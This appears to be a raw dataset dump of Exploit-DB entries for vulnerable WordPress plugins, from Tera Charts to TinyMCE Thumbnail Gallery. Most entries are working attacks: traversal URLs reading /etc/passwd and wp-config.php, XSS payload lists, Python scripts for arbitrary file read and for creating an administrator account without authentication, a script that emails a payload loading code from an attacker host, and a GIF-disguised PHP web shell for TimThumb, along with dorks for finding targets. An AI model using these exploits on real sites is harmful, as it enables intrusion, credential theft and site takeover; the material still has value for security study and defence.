deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39256
Description: WordPress Plugin Tera Charts (tera-charts) - '/charts/treemap.php?fn' Directory Traversal
Type: webapps
Platform: php
Date: 2014-05-28
Author: Anant Shrivastava

Exploit:
source: https://www.securityfocus.com/bid/68662/info

Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.

Tera Charts 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
Exploit-DB #39257
Description: WordPress Plugin Tera Charts (tera-charts) - '/charts/zoomabletreemap.php?fn' Directory Traversal
Type: webapps
Platform: php
Date: 2014-05-28
Author: Anant Shrivastava

Exploit:
source: https://www.securityfocus.com/bid/68662/info
 
Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.
 
Tera Charts 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp_test/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd
Exploit-DB #38373
Description: WordPress Plugin Terillion Reviews - Profile Id HTML Injection
Type: webapps
Platform: php
Date: 2013-03-08
Author: Aditya Balapure

Exploit:
source: https://www.securityfocus.com/bid/58415/info

The Terillion Reviews plugin for WordPress is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. 

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Exploit-DB #51007
Description: WordPress Plugin Testimonial Slider and Showcase 2.2.6 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-09-02
Author: Luqman Hakim Zahari

Exploit:
# Exploit Title: WordPress Plugin Testimonial Slider and Showcase 2.2.6 - Stored Cross-Site Scripting (XSS)
# Date: 05/08/2022
# Exploit Author: saitamang , yunaranyancat , syad
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/plugins/testimonial-slider-and-showcase/
# Version: 2.2.6
# Tested on: Centos 7 apache2 + MySQL

WordPress Plugin "Testimonial Slider and Showcase" is prone to a cross-site scripting (XSS) vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WordPress Plugin "Testimonial Slider and Showcase" version 2.2.6 is vulnerable; prior versions may also be affected.

Login as Editor > Add testimonial > Under Title inject payload below ; parameter (post_title parameter) > Save Draft > Preview the post

payload --> test"/><img/src=""/onerror=alert(document.cookie)>

The draft post can be viewed using the Editor account or Admin account and XSS will be triggered once clicked.
Exploit-DB #50624
Description: WordPress Plugin The True Ranker 2.2.2 - Arbitrary File Read (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Liad Levy

Exploit:
# Exploit Title: WordPress Plugin The True Ranker 2.2.2 - Arbitrary File Read (Unauthenticated)
# Date: 23/12/2021
# Exploit Authors: Nicole Sheinin, Liad Levy
# Vendor Homepage: https://wordpress.org/plugins/seo-local-rank/
# Software Link: https://plugins.svn.wordpress.org/seo-local-rank/tags/2.2.2/
# Version: versions <= 2.2.2
# Tested on: MacOS 
# CVE: CVE-2021-39312
# Github repo: 

#!/usr/bin/env python3

import argparse, textwrap
import requests
import sys

parser = argparse.ArgumentParser(description="Exploit The True Ranker plugin - Read arbitrary files", formatter_class=argparse.RawTextHelpFormatter)                     
group_must = parser.add_argument_group('must arguments')
group_must.add_argument("-u","--url", help="WordPress Target URL (Example: http://127.0.0.1:8080)",required=True) 
parser.add_argument("-p","--payload", help="Path to read  [default] ../../../../../../../../../../wp-config.php", default="../../../../../../../../../../wp-config.php",required=False) 

args = parser.parse_args()

if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -u [url]")          
    sys.exit()  

HOST = args.url
PAYLOAD = args.payload

url = "{}/wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php".format(HOST)
payload = "/scripts/simple.php/{}".format(PAYLOAD)


r = requests.post(url,data={'src': payload})
if r.status_code == 200:
  print(r.text)
else:
  print("No exploit found")
Exploit-DB #36445
Description: WordPress Plugin The Welcomizer 1.3.9.4 - 'twiz-index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-31
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/51037/info

The Welcomizer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The Welcomizer 1.3.9.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/the-welcomizer/twiz-index.php?page=[xss]
Exploit-DB #17860
Description: WordPress Plugin TheCartPress 1.1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Thecartpress Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/thecartpress
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/thecartpress/download/
# Version: 1.1.1 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI

---
Vulnerable Code
---
if ( isset( $_REQUEST['tcp_save_fields'] ) ) {
	$path = $_REQUEST['tcp_class_path'];
	$class_name = $_REQUEST['tcp_class_name'];
	require_once( $path );
Exploit-DB #38869
Description: WordPress Plugin TheCartPress 1.4.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-12-04
Author: KedAns-Dz

Exploit:
###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
#     *----------------------------*      #
#  K  |....##...##..####...####....|  .   #
#  h  |....#...#........#..#...#...|  A   #
#  a  |....#..#.........#..#....#..|  N   #
#  l  |....###........##...#.....#.|  S   #
#  E  |....#.#..........#..#....#..|  e   #
#  D  |....#..#.........#..#...#...|  u   #
#  .  |....##..##...####...####....|  r   #
#     *----------------------------*      #
#-----------------------------------------#
#[ Copyright (c) 2015 | Dz Offenders Cr3w]#
#-----------------------------------------#
###########################################
# >>    D_x . Made In Algeria . x_Z    << #
###########################################
#
# [>] Title : Wordpress Plugin TheCartPress v1.4.7 Multiple Vulnerabilities
#
# [>] Author : KedAns-Dz
# [+] E-mail : ked-h (@hotmail.com)
# [+] FaCeb0ok : fb.me/K3d.Dz
# [+] TwiTter : @kedans
#
# [#] Platform : PHP / WebApp
# [+] Cat/Tag : Multiple
#
# [<] <3 <3 Greetings t0 Palestine <3 <3
# [!] Vendor : http://thecartpress.com
#
###########################################
#
# [!] Description :
#
# Wordpress plugin TheCartPress v1.4.7 is suffer from multiple vulnerabilities
# remote attacker can disclosure some local files or do a remote code execution.
#
####

// page : Miranda.class.php
// lines : 111.. 115

/* --[1] Local File Include -- */
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target].com/wp-content/plugins/thecartpress/modules/Miranda.class.php?page=../../../../../../../../wp-config.php%00");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>

/* --[2] Remote Code Execution -- */
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target].com/wp/admin-ajax.php?action=tcp_miranda_save_admin_panel&class=[RCE]");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>

####
#  <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !>
#  Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3
#---------------------------------------------------------------
# Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 , 
# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic,
# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , &
# & KnocKout , Angel Injection , The Black Divels , kaMtiEz  , &
# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, &
# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day & 
# PacketStormSecurity * Metasploit * OWASP * OSVDB * CVE Mitre ;
####
Exploit-DB #50378
Description: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-10-05
Author: spacehen

Exploit:
# Exploit Title: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/thecartpress/
# Date: 04/10/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugin/thecartpress
# Version: <= 1.5.3.6
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation")
	print("Author -> space_hen (www.github.com/spacehen)")
	
def print_usage():
	print("Usage: python3 exploit.py [target url]")
	print("Ex: python3 exploit.py https://example.com")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text
	if ("User name is required" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 2):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]

	ajax_action = 'tcp_register_and_login_ajax'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	data = {
	"tcp_new_user_name" : "admin_02",
	"tcp_new_user_pass" : "admin1234",
	"tcp_repeat_user_pass" : "admin1234",
	"tcp_new_user_email" : "test@test.com",
	"tcp_role" : "administrator"
	}
	print("Inserting admin...");
	response = requests.post(uri, data=data )
	if (response.text == "\"\""):
		print("Success!")
		print("Now login at /wp-admin/")
	else:
		print(response.text)

main();
Exploit-DB #36481
Description: WordPress Plugin TheCartPress 1.6 - 'OptionsPostsList.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-31
Author: 6Scan

Exploit:
source: https://www.securityfocus.com/bid/51216/info

The TheCartPress WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TheCartPress WordPress Plugin 1.6 and prior versions are vulnerable.

http://www.example.com/wp-content/plugins/thecartpress/admin/OptionsPostsList.php?tcp_options_posts_update=sdf&tcp_name_post_234=%3Cimg%20src=[XSS]&tcp_post_ids[]=234
Exploit-DB #27751
Description: WordPress Plugin ThinkIT 0.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-08-21
Author: Yashar shahinzadeh

Exploit:
###################################################################################################################################
# Exploit Title: Wordpress ThinkIT plugin - CSRF / XSS
# Date: 2013 15 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://thinkoverit.com/
# Tested on: Linux & Windows, PHP 5.2.9
# Affected Version :  0.1
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF - Delete a form
2. Cross site scripting


1. CSRF - Delete a form:
========================

Contact form ID can be easily understood from HTML page source, <input type="hidden" value="[ID]" name="toit-form-id"></input>, which [ID] is the form ID, following crafted exploit may be used so as to delete form completely:

<img src="http://[WP]/wp-admin/admin.php?toitcf_current_id=[ID]&action=delete&page=toitcf" width="1" height="1">

Obviously, ID must be replaced.


2. Cross site scripting:
========================
http://[WP]/wordpress/wp-admin/admin.php?toitcf_current_id=[XSS]&page=toitcf


/** Yasshar shahinzadeh **/
Exploit-DB #19021
Description: WordPress Plugin Thinkun Remind 1.1.3 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Thinkun Remind Remote File 
Disclosure Vulnerability
# Version : 1.1.3
# Link : http://wordpress.org/extend/plugins/thinkun-remind/
# Plugins : http://downloads.wordpress.org/plugin/thinkun-remind.1.1.3.zip
# Date : 30-05-2012
# Google Dork : inurl:/wp-content/plugins/thinkun-remind/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/thinkun-remind/exportData.php?dirPath=../../../../../../../etc/passwd%00
Exploit-DB #20365
Description: WordPress Plugin ThreeWP Email Reflector 1.13 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: ThreeWP Email Reflector
Version: 1.13
Plugin Site: http://mindreantre.se/
Software Download: http://wordpress.org/extend/plugins/threewp-email-reflector/installation/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated with vendor
08 Aug 2012: Public Disclosure

Installed On: Ubuntu Server LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12

Injection Point: Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
6: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
7: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
8: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
9: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
10: <SCRIPT SRC=//attacker/.j>
11: <<SCRIPT>alert("XSS");//<</SCRIPT>
12: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
13: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
15: <SCRIPT a="blah" '' SRC="http://attacker/xss.js"></SCRIPT>
16: <SCRIPT "a='>'" SRC="http://attacker/xss.js"></SCRIPT>
17: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
18: <SCRIPT a=">'>" SRC="http://attacker/xss.js"></SCRIPT>

'''


#!/usr/bin/python
import smtplib, urllib2
 
payload = """<SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS" + payload + "\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS.\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
Exploit-DB #17602
Description: WordPress Plugin TimThumb 1.32 - Remote Code Execution
Type: webapps
Platform: php
Date: 2011-08-03
Author: MaXe

Exploit:
# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution
# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com
# Date: 3rd August 2011
# Author: MaXe
# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php
# Version: 1.32
# Screenshot: See attachment
# Tested on: Windows XP + Apache + PHP (XAMPP)
 
 
WordPress TimThumb (Theme) Plugin - Remote Code Execution
 
 
Versions Affected: 
1.* - 1.32 (Only version 1.19 and 1.32 were tested.)
(Version 1.33 did not save the cache file as .php)

 
Info: (See references for original advisory)
TimThumb is an image resizing utility, widely used in many WordPress themes.

 
External Links:
http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/
 
Credits: 
- Mark Maunder (Original Researcher)
- MaXe (Indepedendent Proof of Concept Writer)
 
 
-:: The Advisory ::-
TimThumb is prone to a Remote Code Execution vulnerability, due to the
script does not check remotely cached files properly. By crafting a
special image file with a valid MIME-type, and appending a PHP file at
the end of this, it is possible to fool TimThumb into believing that it
is a legitimate image, thus caching it locally in the cache directory.


Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.


Proof of Concept File:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

(Transparent GIF + <?php @eval($_GET['cmd']) ?>

 
 
-:: Solution ::-
Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb
 
 
Disclosure Information:
- Vulnerability Disclosed (Mark Maunder): 1st August 2011
- Vulnerability Researched (MaXe): 2nd August 2011
- Disclosed at The Exploit Database: 3rd August 2011

 
 
References:
http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://code.google.com/p/timthumb/issues/detail?id=212
http://programming.arantius.com/the+smallest+possible+gif
Exploit-DB #12692
Description: WordPress Plugin TinyBrowser - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-22
Author: Ra3cH

Exploit:
************************************************************
** 	 TinyBrowser Remote File upload Vulnerability
************************************************************
**  Prodcut:		TinyBrowser   
**  Home   : 		www.dz4all.com/cc
**  Vunlerability :		Remote File upload
**  Risk  :		High
**  Dork : 		inurl:"tinybrowser.php?"
************************************************************
** Discovred by:	Ra3cH
** From	       :	Algeria
** Contact     : 	e51@hotmail.fr
** *********************************************************
************************************************************
**  Exploit:
**  http://[PATH]/tinybrowser/upload.php?type=
**   
**  
************************************************************
**  Exemple:
**  http://[site]/wp-content/plugins/simple-forum/editors/tinymce/plugins/tinybrowser/upload.php?type=
**
**
**
************************************************************ 
**  ** Greetz to :     ALLAH
**         All Members of  http://www.DZ4All.cOm/Cc
**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n & 
***********************************************************
Exploit-DB #19022
Description: WordPress Plugin TinyMCE Thumbnail Gallery 1.0.7 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Tinymce Thumbnail Gallery Remote 
File Disclosure Vulnerability
# Version : 1.0.7
# Link : http://wordpress.org/extend/plugins/tinymce-thumbnail-gallery/
# Plugins : 
http://downloads.wordpress.org/plugin/tinymce-thumbnail-gallery.zip
# Date : 25-05-2012
# Google Dork : inurl:/wp-content/plugins/tinymce-thumbnail-gallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php

http://www.exemple.com/wordpress/wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../../../../../etc/passwd